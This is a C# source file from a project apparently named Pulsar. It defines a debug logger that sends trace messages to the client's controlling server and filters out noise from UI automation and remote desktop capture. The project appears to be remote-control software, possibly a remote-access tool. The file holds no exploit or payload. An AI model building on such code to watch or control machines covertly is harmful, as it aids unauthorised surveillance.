Files
PulsarK-main/Pulsar.Client/UniversalDebugAPI/Logger.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

156 lines
5.4 KiB
C#

using Pulsar.Client.Networking;
using Pulsar.Common.Messages;
using System;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
using static System.Net.WebRequestMethods;
namespace Pulsar.Client.LoggingAPI
{
public class UniversalDebugLogger : TraceListener
{
// public static byte[] EncryptionKey { get; private set; }
private static PulsarClient _client;
public static void Initialize(PulsarClient c)
{
//try
//{
// string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Logs");
// if (!Directory.Exists(path))
// {
// Directory.CreateDirectory(path);
// }
// // EncryptionKey = new byte[16];
// // using (var rng = new RNGCryptoServiceProvider())
// // {
// // rng.GetBytes(EncryptionKey);
// // }
// string filePath = Path.Combine(path, "plog.txt");
// if (!File.Exists(filePath))
// {
// using (File.Create(filePath)) { }
// }
//}
//catch (Exception)
//{
//}
_client = c;
}
public static void SendLogToServer(string logMessage)
{
if (_client != null && _client.Connected)
{
if (!IsBlacklistedMessage(logMessage))
{
_client.Send(new GetDebugLog { Log = logMessage });
}
}
}
internal static bool IsUiAutomationLog(string message)
{
if (string.IsNullOrEmpty(message))
return false;
if (message.IndexOf("MS.Internal.Automation", StringComparison.OrdinalIgnoreCase) >= 0 ||
message.IndexOf("System.Windows.Automation", StringComparison.OrdinalIgnoreCase) >= 0 ||
message.IndexOf("UIAutomationClient", StringComparison.OrdinalIgnoreCase) >= 0 ||
message.IndexOf("AutomationProxies", StringComparison.OrdinalIgnoreCase) >= 0 ||
message.IndexOf("ElementNotAvailableException", StringComparison.OrdinalIgnoreCase) >= 0 ||
message.IndexOf("ElementNotEnabledException", StringComparison.OrdinalIgnoreCase) >= 0 ||
message.IndexOf("NoClickablePointException", StringComparison.OrdinalIgnoreCase) >= 0)
{
return true;
}
if (message.IndexOf("L'op\u00E9ration n'est pas valide en raison de l'\u00E9tat actuel de l'objet", StringComparison.OrdinalIgnoreCase) >= 0)
{
return true;
}
if (message.IndexOf("L'\u00E9l\u00E9ment cible correspond \u00E0 une interface utilisateur", StringComparison.OrdinalIgnoreCase) >= 0)
{
return true;
}
if (message.IndexOf("The target element corresponds to a user interface that is no longer available", StringComparison.OrdinalIgnoreCase) >= 0)
{
return true;
}
if (message.IndexOf("L'E9lE9ment cible correspond E0 une interface utilisateur", StringComparison.OrdinalIgnoreCase) >= 0)
{
return true;
}
return false;
}
private static bool IsBlacklistedMessage(string message)
{
if (string.IsNullOrEmpty(message))
return false;
if (IsUiAutomationLog(message))
{
return true;
}
var blacklistedPatterns = new[]
{
"HRESULT: [0x887A0027]",
"DXGI_ERROR_WAIT_TIMEOUT",
"WaitTimeout",
"The timeout value has elapsed and the resource is not yet available",
"SharpDX.SharpDXException",
"SharpDX.DXGI",
"SharpDX.Result.CheckError()",
"Waiting for frame requests. Buffer size:",
"Received packet: GetDesktop",
"Capture FPS:",
"Buffer size:",
"Pending requests:",
"Value does not fall within the expected range.",
"Accessibility.IAccessible.get_accChild",
"System.Security.SecurityException: Requested registry access is not allowed"
};
foreach (var pattern in blacklistedPatterns)
{
if (message.Contains(pattern))
{
return true;
}
}
return false;
}
public override void WriteLine(string message)
{
try
{
// string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Logs", "plog.txt");
// using (StreamWriter writer = new StreamWriter(path, true))
// {
// writer.WriteLine(message);
// }
}
catch (Exception)
{
}
}
public override void Write(string message)
{
}
}
}